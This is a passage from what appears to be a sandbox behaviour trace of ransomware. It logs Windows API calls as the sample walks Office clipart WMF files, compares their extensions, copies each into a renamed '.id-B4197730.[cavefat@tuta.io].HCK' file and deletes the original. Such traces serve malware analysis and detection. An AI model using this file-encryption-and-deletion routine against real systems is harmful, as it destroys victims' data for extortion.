(lpString1=".ppt", lpString2=".WMF") returned -1 [0158.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.601] lstrlenW (lpString=".zip") returned 4 [0158.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.601] lstrlenW (lpString=".rar") returned 4 [0158.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.601] lstrlenW (lpString=".bz2") returned 4 [0158.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.601] lstrlenW (lpString=".7z") returned 3 [0158.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.601] lstrlenW (lpString=".dbf") returned 4 [0158.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.601] lstrlenW (lpString=".1cd") returned 4 [0158.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0158.601] lstrlenW (lpString=".jpg") returned 4 [0158.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.601] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.601] lstrlenW (lpString="FD00074_.WMF") returned 12 [0158.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.602] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17850) returned 1 [0158.602] CloseHandle (hObject=0x2ec) returned 1 [0158.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 0x220 [0158.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.602] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.602] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.602] GetLastError () returned 0x0 [0158.602] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x45ba, lpOverlapped=0x0) returned 1 [0158.604] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0158.605] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.605] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.605] SetEndOfFile (hFile=0x38c) returned 1 [0158.605] CloseHandle (hObject=0x38c) returned 1 [0158.606] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.606] SetEndOfFile (hFile=0x2ec) returned 1 [0158.607] CloseHandle (hObject=0x2ec) returned 1 [0158.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf")) returned 1 [0158.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.607] lstrlenW (lpString=".doc") returned 4 [0158.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.607] lstrlenW (lpString=".docx") returned 5 [0158.607] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.607] lstrlenW (lpString=".pdf") returned 4 [0158.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.607] lstrlenW (lpString=".xls") returned 4 [0158.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.607] lstrlenW (lpString=".xlsx") returned 5 [0158.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.608] lstrlenW (lpString=".ppt") returned 4 [0158.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".zip") returned 4 [0158.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.608] lstrlenW (lpString=".rar") returned 4 [0158.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString=".bz2") returned 4 [0158.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString=".7z") returned 3 [0158.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".dbf") returned 4 [0158.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".1cd") returned 4 [0158.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".jpg") returned 4 [0158.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".doc") returned 4 [0158.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString=".docx") returned 5 [0158.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.608] lstrlenW (lpString=".pdf") returned 4 [0158.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString=".xls") returned 4 [0158.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.608] lstrlenW (lpString=".xlsx") returned 5 [0158.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.608] lstrlenW (lpString=".ppt") returned 4 [0158.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".zip") returned 4 [0158.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.608] lstrlenW (lpString=".rar") returned 4 [0158.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString=".bz2") returned 4 [0158.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString=".7z") returned 3 [0158.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".dbf") returned 4 [0158.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".1cd") returned 4 [0158.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF") returned 68 [0158.608] lstrlenW (lpString=".jpg") returned 4 [0158.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.609] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.609] lstrlenW (lpString="FD00076_.WMF") returned 12 [0158.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.609] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11994) returned 1 [0158.609] CloseHandle (hObject=0x2ec) returned 1 [0158.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0158.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.609] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.609] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.610] GetLastError () returned 0x0 [0158.610] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2eda, lpOverlapped=0x0) returned 1 [0158.611] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0158.614] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.614] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.614] SetEndOfFile (hFile=0x38c) returned 1 [0158.614] CloseHandle (hObject=0x38c) returned 1 [0158.615] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.615] SetEndOfFile (hFile=0x2ec) returned 1 [0158.616] CloseHandle (hObject=0x2ec) returned 1 [0158.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.616] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0158.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.616] lstrlenW (lpString=".doc") returned 4 [0158.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.616] lstrlenW (lpString=".docx") returned 5 [0158.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.616] lstrlenW (lpString=".pdf") returned 4 [0158.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.616] lstrlenW (lpString=".xls") returned 4 [0158.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.616] lstrlenW (lpString=".xlsx") returned 5 [0158.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.616] lstrlenW (lpString=".ppt") returned 4 [0158.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".zip") returned 4 [0158.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.617] lstrlenW (lpString=".rar") returned 4 [0158.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString=".bz2") returned 4 [0158.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString=".7z") returned 3 [0158.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".dbf") returned 4 [0158.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".1cd") returned 4 [0158.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".jpg") returned 4 [0158.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".doc") returned 4 [0158.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString=".docx") returned 5 [0158.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.617] lstrlenW (lpString=".pdf") returned 4 [0158.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString=".xls") returned 4 [0158.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.617] lstrlenW (lpString=".xlsx") returned 5 [0158.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.617] lstrlenW (lpString=".ppt") returned 4 [0158.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".zip") returned 4 [0158.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.617] lstrlenW (lpString=".rar") returned 4 [0158.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString=".bz2") returned 4 [0158.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString=".7z") returned 3 [0158.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".dbf") returned 4 [0158.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".1cd") returned 4 [0158.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0158.617] lstrlenW (lpString=".jpg") returned 4 [0158.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.618] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.618] lstrlenW (lpString="FD00077_.WMF") returned 12 [0158.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.618] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=30240) returned 1 [0158.618] CloseHandle (hObject=0x2ec) returned 1 [0158.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0158.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.618] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.618] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.619] GetLastError () returned 0x0 [0158.619] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7620, lpOverlapped=0x0) returned 1 [0158.620] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7630, lpOverlapped=0x0) returned 1 [0158.621] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.621] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.621] SetEndOfFile (hFile=0x38c) returned 1 [0158.621] CloseHandle (hObject=0x38c) returned 1 [0158.623] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.623] SetEndOfFile (hFile=0x2ec) returned 1 [0158.623] CloseHandle (hObject=0x2ec) returned 1 [0158.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0158.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.624] lstrlenW (lpString=".doc") returned 4 [0158.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.624] lstrlenW (lpString=".docx") returned 5 [0158.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.624] lstrlenW (lpString=".pdf") returned 4 [0158.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.624] lstrlenW (lpString=".xls") returned 4 [0158.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.624] lstrlenW (lpString=".xlsx") returned 5 [0158.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.624] lstrlenW (lpString=".ppt") returned 4 [0158.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.624] lstrlenW (lpString=".zip") returned 4 [0158.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.624] lstrlenW (lpString=".rar") returned 4 [0158.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.624] lstrlenW (lpString=".bz2") returned 4 [0158.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.624] lstrlenW (lpString=".7z") returned 3 [0158.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.624] lstrlenW (lpString=".dbf") returned 4 [0158.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.624] lstrlenW (lpString=".1cd") returned 4 [0158.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.625] lstrlenW (lpString=".jpg") returned 4 [0158.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.625] lstrlenW (lpString=".doc") returned 4 [0158.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString=".docx") returned 5 [0158.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.625] lstrlenW (lpString=".pdf") returned 4 [0158.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString=".xls") returned 4 [0158.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.625] lstrlenW (lpString=".xlsx") returned 5 [0158.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.625] lstrlenW (lpString=".ppt") returned 4 [0158.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0158.625] lstrlenW (lpString=".zip") returned 4 [0158.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.625] lstrlenW (lpString=".rar") returned 4 [0158.625] lstrcmpiW (lpString1=".rar", 